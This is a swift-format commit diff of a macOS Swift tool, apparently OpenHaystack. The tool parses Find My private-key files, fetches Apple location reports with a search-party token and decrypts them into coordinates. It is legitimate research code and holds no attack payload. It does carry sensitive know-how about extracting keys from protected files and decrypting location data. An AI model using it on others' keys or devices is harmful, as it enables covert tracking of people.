Export the created firmware file (instead of flashing directly)

Running swift-format
This commit is contained in:
Alexander Heinrich
2021-04-06 11:05:24 +02:00
parent cf5103f62f
commit edf2b59754
23 changed files with 1354 additions and 1102 deletions

View File

@@ -13,30 +13,30 @@ import SwiftUI
@main @main
class AppDelegate: NSObject, NSApplicationDelegate { class AppDelegate: NSObject, NSApplicationDelegate {
var window: NSWindow! var window: NSWindow!
func applicationDidFinishLaunching(_ aNotification: Notification) { func applicationDidFinishLaunching(_ aNotification: Notification) {
// Create the SwiftUI view that provides the window contents. // Create the SwiftUI view that provides the window contents.
let contentView = OFFetchReportsMainView() let contentView = OFFetchReportsMainView()
// Create the window and set the content view. // Create the window and set the content view.
window = NSWindow( window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300), contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView], styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
backing: .buffered, defer: false) backing: .buffered, defer: false)
window.isReleasedWhenClosed = false window.isReleasedWhenClosed = false
window.center() window.center()
window.setFrameAutosaveName("Main Window") window.setFrameAutosaveName("Main Window")
window.contentView = NSHostingView(rootView: contentView) window.contentView = NSHostingView(rootView: contentView)
window.makeKeyAndOrderFront(nil) window.makeKeyAndOrderFront(nil)
} }
func applicationWillTerminate(_ aNotification: Notification) { func applicationWillTerminate(_ aNotification: Notification) {
// Insert code here to tear down your application // Insert code here to tear down your application
} }
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool { func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return true return true
} }
} }

View File

@@ -10,14 +10,14 @@
import SwiftUI import SwiftUI
struct ContentView: View { struct ContentView: View {
var body: some View { var body: some View {
Text("Hello, World!") Text("Hello, World!")
.frame(maxWidth: .infinity, maxHeight: .infinity) .frame(maxWidth: .infinity, maxHeight: .infinity)
} }
} }
struct ContentView_Previews: PreviewProvider { struct ContentView_Previews: PreviewProvider {
static var previews: some View { static var previews: some View {
ContentView() ContentView()
} }
} }

View File

@@ -7,93 +7,100 @@
// SPDX-License-Identifier: AGPL-3.0-only // SPDX-License-Identifier: AGPL-3.0-only
// //
import Foundation
import CryptoKit import CryptoKit
import Foundation
struct DecryptReports { struct DecryptReports {
/// Decrypt a find my report with the according key /// Decrypt a find my report with the according key
/// - Parameters: /// - Parameters:
/// - report: An encrypted FindMy Report /// - report: An encrypted FindMy Report
/// - key: A FindMyKey /// - key: A FindMyKey
/// - Throws: Errors if the decryption fails /// - Throws: Errors if the decryption fails
/// - Returns: An decrypted location report /// - Returns: An decrypted location report
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport { static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
let payloadData = report.payload let payloadData = report.payload
let keyData = key.privateKey let keyData = key.privateKey
let privateKey = keyData let privateKey = keyData
let ephemeralKey = payloadData.subdata(in: 5..<62) let ephemeralKey = payloadData.subdata(in: 5..<62)
guard let sharedKey = BoringSSL.deriveSharedKey( guard
fromPrivateKey: privateKey, let sharedKey = BoringSSL.deriveSharedKey(
andEphemeralKey: ephemeralKey) else { fromPrivateKey: privateKey,
throw FindMyError.decryptionError(description: "Failed generating shared key") andEphemeralKey: ephemeralKey)
} else {
throw FindMyError.decryptionError(description: "Failed generating shared key")
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
print("Derived key \(derivedKey.base64EncodedString())")
let encData = payloadData.subdata(in: 62..<72)
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
let decryptedContent = try self.decryptPayload(payload: encData, symmetricKey: derivedKey, tag: tag)
let locationReport = self.decode(content: decryptedContent, report: report)
print(locationReport)
return locationReport
} }
/// Decrypt the payload let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
/// - Parameters:
/// - payload: Encrypted payload part
/// - symmetricKey: Symmetric key
/// - tag: AES GCM tag
/// - Throws: AES GCM error
/// - Returns: Decrypted error
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
let decryptionKey = symmetricKey.subdata(in: 0..<16)
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
print("Decryption Key \(decryptionKey.base64EncodedString())") print("Derived key \(derivedKey.base64EncodedString())")
print("IV \(iv.base64EncodedString())")
let sealedBox = try AES.GCM.SealedBox(nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag) let encData = payloadData.subdata(in: 62..<72)
let symKey = SymmetricKey(data: decryptionKey) let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
return decrypted let decryptedContent = try self.decryptPayload(
} payload: encData, symmetricKey: derivedKey, tag: tag)
let locationReport = self.decode(content: decryptedContent, report: report)
print(locationReport)
return locationReport
}
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport { /// Decrypt the payload
var longitude: Int32 = 0 /// - Parameters:
_ = withUnsafeMutableBytes(of: &longitude, {content.subdata(in: 4..<8).copyBytes(to: $0)}) /// - payload: Encrypted payload part
longitude = Int32(bigEndian: longitude) /// - symmetricKey: Symmetric key
/// - tag: AES GCM tag
/// - Throws: AES GCM error
/// - Returns: Decrypted error
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
let decryptionKey = symmetricKey.subdata(in: 0..<16)
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
var latitude: Int32 = 0 print("Decryption Key \(decryptionKey.base64EncodedString())")
_ = withUnsafeMutableBytes(of: &latitude, {content.subdata(in: 0..<4).copyBytes(to: $0)}) print("IV \(iv.base64EncodedString())")
latitude = Int32(bigEndian: latitude)
var accuracy: UInt8 = 0 let sealedBox = try AES.GCM.SealedBox(
_ = withUnsafeMutableBytes(of: &accuracy, {content.subdata(in: 8..<9).copyBytes(to: $0)}) nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
let symKey = SymmetricKey(data: decryptionKey)
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
let latitudeDec = Double(latitude)/10000000.0 return decrypted
let longitudeDec = Double(longitude)/10000000.0 }
return FindMyLocationReport(lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished, t: report.timestamp, c: report.confidence) static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
} var longitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
longitude = Int32(bigEndian: longitude)
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data { var latitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
latitude = Int32(bigEndian: latitude)
var shaDigest = SHA256() var accuracy: UInt8 = 0
shaDigest.update(data: secret) _ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
var counter: Int32 = 1
let counterData = Data(Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
shaDigest.update(data: counterData)
shaDigest.update(data: ephKey)
let derivedKey = shaDigest.finalize() let latitudeDec = Double(latitude) / 10000000.0
let longitudeDec = Double(longitude) / 10000000.0
return Data(derivedKey) return FindMyLocationReport(
} lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished,
t: report.timestamp, c: report.confidence)
}
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
var shaDigest = SHA256()
shaDigest.update(data: secret)
var counter: Int32 = 1
let counterData = Data(
Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
shaDigest.update(data: counterData)
shaDigest.update(data: ephKey)
let derivedKey = shaDigest.finalize()
return Data(derivedKey)
}
} }

View File

@@ -7,218 +7,232 @@
// SPDX-License-Identifier: AGPL-3.0-only // SPDX-License-Identifier: AGPL-3.0-only
// //
import Combine
import Foundation import Foundation
import SwiftUI import SwiftUI
import Combine
class FindMyController: ObservableObject { class FindMyController: ObservableObject {
static let shared = FindMyController() static let shared = FindMyController()
@Published var error: Error? @Published var error: Error?
@Published var devices = [FindMyDevice]() @Published var devices = [FindMyDevice]()
func loadPrivateKeys(from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void) { func loadPrivateKeys(
from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void
) {
do {
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
self.devices.append(contentsOf: devices)
self.fetchReports(with: searchPartyToken, completion: completion)
} catch {
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
}
}
func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void)
throws
{
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
// Decrypt the reports with the imported keys
DispatchQueue.global(qos: .background).async {
// Add the reports to the according device by finding the right key for the report
for report in reports {
guard
let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
device.keys.contains { (key) -> Bool in
key.hashedKey.base64EncodedString() == report.id
}
})
else {
print("No device found for id")
continue
}
if var reports = devices[deviceIndex].reports {
reports.append(report)
devices[deviceIndex].reports = reports
} else {
devices[deviceIndex].reports = [report]
}
}
self.devices = devices
// Decrypt the reports
self.decryptReports {
self.exportDevices()
DispatchQueue.main.async {
completion()
}
}
}
}
func importDevices(devices: Data) throws {
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
// Delete the decrypted reports
for idx in devices.startIndex..<devices.endIndex {
devices[idx].decryptedReports = nil
}
self.devices = devices
// Decrypt reports again with additional information
self.decryptReports {
}
}
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
DispatchQueue.global(qos: .background).async {
let fetchReportGroup = DispatchGroup()
let fetcher = ReportsFetcher()
var devices = self.devices
for deviceIndex in 0..<devices.count {
fetchReportGroup.enter()
devices[deviceIndex].reports = []
// Only use the newest keys for testing
let keys = devices[deviceIndex].keys
let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
// 21 days
let duration: Double = (24 * 60 * 60) * 21
let startDate = Date() - duration
fetcher.query(
forHashes: keyHashes,
start: startDate,
duration: duration,
searchPartyToken: searchPartyToken
) { jd in
guard let jsonData = jd else {
fetchReportGroup.leave()
return
}
do {
// Decode the report
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
devices[deviceIndex].reports = report.results
} catch {
print("Failed with error \(error)")
devices[deviceIndex].reports = []
}
fetchReportGroup.leave()
}
}
// Completion Handler
fetchReportGroup.notify(queue: .main) {
print("Finished loading the reports. Now decrypt them")
// Export the reports to the desktop
var reports = [FindMyReport]()
for device in devices {
for report in device.reports! {
reports.append(report)
}
}
#if EXPORT
if let encoded = try? JSONEncoder().encode(reports) {
let outputDirectory = FileManager.default.urls(
for: .desktopDirectory, in: .userDomainMask
).first!
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
}
#endif
DispatchQueue.main.async {
self.devices = devices
self.decryptReports {
completion(nil)
}
}
}
}
}
func decryptReports(completion: () -> Void) {
print("Decrypting reports")
// Iterate over all devices
for deviceIdx in 0..<devices.count {
devices[deviceIdx].decryptedReports = []
let device = devices[deviceIdx]
// Map the keys in a dictionary for faster access
guard let reports = device.reports else { continue }
let keyMap = device.keys.reduce(
into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
let accessQueue = DispatchQueue(
label: "threadSafeAccess",
qos: .userInitiated,
attributes: .concurrent,
autoreleaseFrequency: .workItem, target: nil)
var decryptedReports = [FindMyLocationReport](
repeating:
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
count: reports.count)
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
let report = reports[reportIdx]
guard let key = keyMap[report.id] else { return }
do { do {
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data) // Decrypt the report
let locationReport = try DecryptReports.decrypt(report: report, with: key)
self.devices.append(contentsOf: devices) accessQueue.async(flags: .barrier) {
self.fetchReports(with: searchPartyToken, completion: completion) decryptedReports[reportIdx] = locationReport
}
} catch { } catch {
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error)) return
} }
}
accessQueue.sync {
devices[deviceIdx].decryptedReports = decryptedReports
}
} }
func importReports(reports: [FindMyReport], and keys: Data, completion:@escaping () -> Void) throws { completion()
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
// Decrypt the reports with the imported keys }
DispatchQueue.global(qos: .background).async {
// Add the reports to the according device by finding the right key for the report
for report in reports {
guard let deviceIndex = devices.firstIndex(where: { (device) -> Bool in func exportDevices() {
device.keys.contains { (key) -> Bool in
key.hashedKey.base64EncodedString() == report.id
}
}) else {
print("No device found for id")
continue
}
if var reports = devices[deviceIndex].reports {
reports.append(report)
devices[deviceIndex].reports = reports
} else {
devices[deviceIndex].reports = [report]
}
}
self.devices = devices
// Decrypt the reports if let encoded = try? PropertyListEncoder().encode(self.devices) {
self.decryptReports { let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask)
self.exportDevices() .first!
DispatchQueue.main.async { try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
completion()
}
}
}
}
func importDevices(devices: Data) throws {
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
// Delete the decrypted reports
for idx in devices.startIndex..<devices.endIndex {
devices[idx].decryptedReports = nil
}
self.devices = devices
// Decrypt reports again with additional information
self.decryptReports {
}
}
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
DispatchQueue.global(qos: .background).async {
let fetchReportGroup = DispatchGroup()
let fetcher = ReportsFetcher()
var devices = self.devices
for deviceIndex in 0..<devices.count {
fetchReportGroup.enter()
devices[deviceIndex].reports = []
// Only use the newest keys for testing
let keys = devices[deviceIndex].keys
let keyHashes = keys.map({$0.hashedKey.base64EncodedString()})
// 21 days
let duration: Double = (24 * 60 * 60) * 21
let startDate = Date() - duration
fetcher.query(forHashes: keyHashes,
start: startDate,
duration: duration,
searchPartyToken: searchPartyToken) { jd in
guard let jsonData = jd else {
fetchReportGroup.leave()
return
}
do {
// Decode the report
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
devices[deviceIndex].reports = report.results
} catch {
print("Failed with error \(error)")
devices[deviceIndex].reports = []
}
fetchReportGroup.leave()
}
}
// Completion Handler
fetchReportGroup.notify(queue: .main) {
print("Finished loading the reports. Now decrypt them")
// Export the reports to the desktop
var reports = [FindMyReport]()
for device in devices {
for report in device.reports! {
reports.append(report)
}
}
#if EXPORT
if let encoded = try? JSONEncoder().encode(reports) {
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
}
#endif
DispatchQueue.main.async {
self.devices = devices
self.decryptReports {
completion(nil)
}
}
}
}
}
func decryptReports(completion: () -> Void) {
print("Decrypting reports")
// Iterate over all devices
for deviceIdx in 0..<devices.count {
devices[deviceIdx].decryptedReports = []
let device = devices[deviceIdx]
// Map the keys in a dictionary for faster access
guard let reports = device.reports else {continue}
let keyMap = device.keys.reduce(into: [String: FindMyKey](), {$0[$1.hashedKey.base64EncodedString()] = $1})
let accessQueue = DispatchQueue(label: "threadSafeAccess",
qos: .userInitiated,
attributes: .concurrent,
autoreleaseFrequency: .workItem, target: nil)
var decryptedReports = [FindMyLocationReport](repeating:
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
count: reports.count)
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
let report = reports[reportIdx]
guard let key = keyMap[report.id] else {return}
do {
// Decrypt the report
let locationReport = try DecryptReports.decrypt(report: report, with: key)
accessQueue.async(flags: .barrier) {
decryptedReports[reportIdx] = locationReport
}
} catch {
return
}
}
accessQueue.sync {
devices[deviceIdx].decryptedReports = decryptedReports
}
}
completion()
}
func exportDevices() {
if let encoded = try? PropertyListEncoder().encode(self.devices) {
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
}
} }
}
} }
struct FindMyControllerKey: EnvironmentKey { struct FindMyControllerKey: EnvironmentKey {
static var defaultValue: FindMyController = .shared static var defaultValue: FindMyController = .shared
} }
extension EnvironmentValues { extension EnvironmentValues {
var findMyController: FindMyController { var findMyController: FindMyController {
get {self[FindMyControllerKey.self]} get { self[FindMyControllerKey.self] }
set {self[FindMyControllerKey.self] = newValue} set { self[FindMyControllerKey.self] = newValue }
} }
} }
enum FindMyErrors: Error { enum FindMyErrors: Error {
case decodingPlistFailed(message: String) case decodingPlistFailed(message: String)
} }

View File

@@ -7,109 +7,110 @@
// SPDX-License-Identifier: AGPL-3.0-only // SPDX-License-Identifier: AGPL-3.0-only
// //
import Foundation
import CryptoKit import CryptoKit
import Foundation
/// Decode key files found in newer macOS versions. /// Decode key files found in newer macOS versions.
class FindMyKeyDecoder { class FindMyKeyDecoder {
/// Key files can be in different format. /// Key files can be in different format.
/// The old <= 10.15.3 have been using normal plists. /// The old <= 10.15.3 have been using normal plists.
/// Newer once use a binary format which needs different parsing /// Newer once use a binary format which needs different parsing
enum KeyFileFormat { enum KeyFileFormat {
// swiftlint:disable identifier_name // swiftlint:disable identifier_name
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key /// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
/// file format that can be parsed identically. /// file format that can be parsed identically.
/// macOS 10.15.7 uses a new key file format that has not been reversed yet. /// macOS 10.15.7 uses a new key file format that has not been reversed yet.
/// (The key files are protected by sandboxing and only usable from a SIP disabled) /// (The key files are protected by sandboxing and only usable from a SIP disabled)
case catalina_10_15_4 case catalina_10_15_4
}
var fileFormat: KeyFileFormat?
func parse(keyFile: Data) throws -> [FindMyKey] {
// Detect the format at first
if fileFormat == nil {
try self.checkFormat(for: keyFile)
}
guard let format = self.fileFormat else {
throw ParsingError.unsupportedFormat
} }
var fileFormat: KeyFileFormat? switch format {
case .catalina_10_15_4:
let keys = try self.parseBinaryKeyFiles(from: keyFile)
return keys
}
}
func parse(keyFile: Data) throws -> [FindMyKey] { func checkFormat(for keyFile: Data) throws {
// Detect the format at first // Key files need to start with KEY = 0x4B 45 59
if fileFormat == nil { let magicBytes = keyFile.subdata(in: 0..<3)
try self.checkFormat(for: keyFile) guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
} throw ParsingError.wrongMagicBytes
guard let format = self.fileFormat else {
throw ParsingError.unsupportedFormat
}
switch format {
case .catalina_10_15_4:
let keys = try self.parseBinaryKeyFiles(from: keyFile)
return keys
}
} }
func checkFormat(for keyFile: Data) throws { // Detect zeros
// Key files need to start with KEY = 0x4B 45 59 let potentialZeros = keyFile[15..<31]
let magicBytes = keyFile.subdata(in: 0..<3) guard potentialZeros == Data(repeating: 0x00, count: 16) else {
guard magicBytes == Data([0x4b, 0x45, 0x59]) else { throw ParsingError.wrongFormat
throw ParsingError.wrongMagicBytes }
} // Should be big sur
self.fileFormat = .catalina_10_15_4
}
// Detect zeros fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
let potentialZeros = keyFile[15..<31] var keys = [FindMyKey]()
guard potentialZeros == Data(repeating: 0x00, count: 16) else { // First key starts at 32
throw ParsingError.wrongFormat var i = 32
}
// Should be big sur while i + 117 < keyFile.count {
self.fileFormat = .catalina_10_15_4 // We could not identify what those keys were
_ = keyFile.subdata(in: i..<i + 32)
i += 32
if keyFile[i] == 0x00 {
// Public key only.
// No need to parse it. Just skip to the next key
i += 86
continue
}
guard keyFile[i] == 0x01 else {
throw ParsingError.wrongFormat
}
// Step over 0x01
i += 1
// Read the key (starting with 0x04)
let fullKey = keyFile.subdata(in: i..<i + 85)
i += 85
// Create the sub keys. No actual need,
// but we do that to put them into a similar format as used before 10.15.4
let advertisedKey = fullKey.subdata(in: 1..<29)
let yCoordinate = fullKey.subdata(in: 29..<57)
var shaDigest = SHA256()
shaDigest.update(data: advertisedKey)
let hashedKey = Data(shaDigest.finalize())
let fmKey = FindMyKey(
advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: fullKey,
startTime: nil,
duration: nil,
pu: nil,
yCoordinate: yCoordinate,
fullKey: fullKey)
keys.append(fmKey)
} }
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] { return keys
var keys = [FindMyKey]() }
// First key starts at 32
var i = 32
while i + 117 < keyFile.count { enum ParsingError: Error {
// We could not identify what those keys were case wrongMagicBytes
_ = keyFile.subdata(in: i..<i+32) case wrongFormat
i += 32 case unsupportedFormat
if keyFile[i] == 0x00 { }
// Public key only.
// No need to parse it. Just skip to the next key
i += 86
continue
}
guard keyFile[i] == 0x01 else {
throw ParsingError.wrongFormat
}
// Step over 0x01
i+=1
// Read the key (starting with 0x04)
let fullKey = keyFile.subdata(in: i..<i+85)
i += 85
// Create the sub keys. No actual need,
// but we do that to put them into a similar format as used before 10.15.4
let advertisedKey = fullKey.subdata(in: 1..<29)
let yCoordinate = fullKey.subdata(in: 29..<57)
var shaDigest = SHA256()
shaDigest.update(data: advertisedKey)
let hashedKey = Data(shaDigest.finalize())
let fmKey = FindMyKey(advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: fullKey,
startTime: nil,
duration: nil,
pu: nil,
yCoordinate: yCoordinate,
fullKey: fullKey)
keys.append(fmKey)
}
return keys
}
enum ParsingError: Error {
case wrongMagicBytes
case wrongFormat
case unsupportedFormat
}
} }

View File

@@ -9,191 +9,195 @@
// swiftlint:disable identifier_name // swiftlint:disable identifier_name
import Foundation
import CoreLocation import CoreLocation
import Foundation
struct FindMyDevice: Codable, Hashable { struct FindMyDevice: Codable, Hashable {
let deviceId: String let deviceId: String
var keys = [FindMyKey]() var keys = [FindMyKey]()
var catalinaBigSurKeyFiles: [Data]? var catalinaBigSurKeyFiles: [Data]?
/// KeyHash: Report results /// KeyHash: Report results
var reports: [FindMyReport]? var reports: [FindMyReport]?
var decryptedReports: [FindMyLocationReport]? var decryptedReports: [FindMyLocationReport]?
func hash(into hasher: inout Hasher) { func hash(into hasher: inout Hasher) {
hasher.combine(deviceId) hasher.combine(deviceId)
} }
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool { static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
lhs.deviceId == rhs.deviceId lhs.deviceId == rhs.deviceId
} }
} }
struct FindMyKey: Codable { struct FindMyKey: Codable {
internal init(advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?, pu: Data?, yCoordinate: Data?, fullKey: Data?) { internal init(
self.advertisedKey = advertisedKey advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?,
self.hashedKey = hashedKey pu: Data?, yCoordinate: Data?, fullKey: Data?
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here ) {
if privateKey.count == 85 { self.advertisedKey = advertisedKey
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex) self.hashedKey = hashedKey
} else { // The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
self.privateKey = privateKey if privateKey.count == 85 {
} self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.startTime = startTime self.privateKey = privateKey
self.duration = duration
self.pu = pu
self.yCoordinate = yCoordinate
self.fullKey = fullKey
} }
init(from decoder: Decoder) throws { self.startTime = startTime
let container = try decoder.container(keyedBy: CodingKeys.self) self.duration = duration
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey) self.pu = pu
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey) self.yCoordinate = yCoordinate
let privateKey = try container.decode(Data.self, forKey: .privateKey) self.fullKey = fullKey
if privateKey.count == 85 { }
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.privateKey = privateKey
}
self.startTime = try? container.decode(Date.self, forKey: .startTime) init(from decoder: Decoder) throws {
self.duration = try? container.decode(Double.self, forKey: .duration) let container = try decoder.container(keyedBy: CodingKeys.self)
self.pu = try? container.decode(Data.self, forKey: .pu) self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate) self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
self.fullKey = try? container.decode(Data.self, forKey: .fullKey) let privateKey = try container.decode(Data.self, forKey: .privateKey)
if privateKey.count == 85 {
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.privateKey = privateKey
} }
/// The advertising key self.startTime = try? container.decode(Date.self, forKey: .startTime)
let advertisedKey: Data self.duration = try? container.decode(Double.self, forKey: .duration)
/// Hashed advertisement key using SHA256 self.pu = try? container.decode(Data.self, forKey: .pu)
let hashedKey: Data self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
/// The private key from which the advertisement keys can be derived self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
let privateKey: Data }
/// When this key was used to send out BLE advertisements
let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements
let duration: Double?
/// ?
let pu: Data?
/// As exported from Big Sur /// The advertising key
let yCoordinate: Data? let advertisedKey: Data
/// As exported from BigSur /// Hashed advertisement key using SHA256
let fullKey: Data? let hashedKey: Data
/// The private key from which the advertisement keys can be derived
let privateKey: Data
/// When this key was used to send out BLE advertisements
let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements
let duration: Double?
/// ?
let pu: Data?
/// As exported from Big Sur
let yCoordinate: Data?
/// As exported from BigSur
let fullKey: Data?
} }
struct FindMyReportResults: Codable { struct FindMyReportResults: Codable {
let results: [FindMyReport] let results: [FindMyReport]
} }
struct FindMyReport: Codable { struct FindMyReport: Codable {
let datePublished: Date let datePublished: Date
let payload: Data let payload: Data
let id: String let id: String
let statusCode: Int let statusCode: Int
let confidence: UInt8 let confidence: UInt8
let timestamp: Date let timestamp: Date
enum CodingKeys: CodingKey { enum CodingKeys: CodingKey {
case datePublished case datePublished
case payload case payload
case id case id
case statusCode case statusCode
}
init(from decoder: Decoder) throws {
let values = try decoder.container(keyedBy: CodingKeys.self)
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
// Convert from milis to time interval
let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
let df = DateFormatter()
df.dateFormat = "YYYY-MM-dd"
if dP < df.date(from: "2020-01-01")! {
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
} else {
self.datePublished = dP
} }
init(from decoder: Decoder) throws { self.statusCode = try values.decode(Int.self, forKey: .statusCode)
let values = try decoder.container(keyedBy: CodingKeys.self) let payloadBase64 = try values.decode(String.self, forKey: .payload)
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
// Convert from milis to time interval
let dP = Date(timeIntervalSince1970: dateTimestamp/1000)
let df = DateFormatter()
df.dateFormat = "YYYY-MM-dd"
if dP < df.date(from: "2020-01-01")! { guard let payload = Data(base64Encoded: payloadBase64) else {
self.datePublished = Date(timeIntervalSince1970: dateTimestamp) throw DecodingError.dataCorruptedError(
} else { forKey: CodingKeys.payload, in: values, debugDescription: "")
self.datePublished = dP }
} self.payload = payload
self.statusCode = try values.decode(Int.self, forKey: .statusCode) var timestampData = payload.subdata(in: 0..<4)
let payloadBase64 = try values.decode(String.self, forKey: .payload) let timestamp: Int32 = withUnsafeBytes(of: &timestampData) { (pointer) -> Int32 in
// Convert the endianness
guard let payload = Data(base64Encoded: payloadBase64) else { pointer.load(as: Int32.self).bigEndian
throw DecodingError.dataCorruptedError(forKey: CodingKeys.payload, in: values, debugDescription: "")
}
self.payload = payload
var timestampData = payload.subdata(in: 0..<4)
let timestamp: Int32 = withUnsafeBytes(of: &timestampData) { (pointer) -> Int32 in
// Convert the endianness
pointer.load(as: Int32.self).bigEndian
}
// It's a cocoa time stamp (counting from 2001)
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
self.confidence = payload[4]
self.id = try values.decode(String.self, forKey: .id)
} }
func encode(to encoder: Encoder) throws { // It's a cocoa time stamp (counting from 2001)
var container = encoder.container(keyedBy: CodingKeys.self) self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished) self.confidence = payload[4]
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
try container.encode(self.id, forKey: .id) self.id = try values.decode(String.self, forKey: .id)
try container.encode(self.statusCode, forKey: .statusCode) }
}
func encode(to encoder: Encoder) throws {
var container = encoder.container(keyedBy: CodingKeys.self)
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
try container.encode(self.id, forKey: .id)
try container.encode(self.statusCode, forKey: .statusCode)
}
} }
struct FindMyLocationReport: Codable { struct FindMyLocationReport: Codable {
let latitude: Double let latitude: Double
let longitude: Double let longitude: Double
let accuracy: UInt8 let accuracy: UInt8
let datePublished: Date let datePublished: Date
let timestamp: Date? let timestamp: Date?
let confidence: UInt8? let confidence: UInt8?
var location: CLLocation { var location: CLLocation {
return CLLocation(latitude: latitude, longitude: longitude) return CLLocation(latitude: latitude, longitude: longitude)
}
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
self.latitude = lat
self.longitude = lng
self.accuracy = acc
self.datePublished = dP
self.timestamp = t
self.confidence = c
}
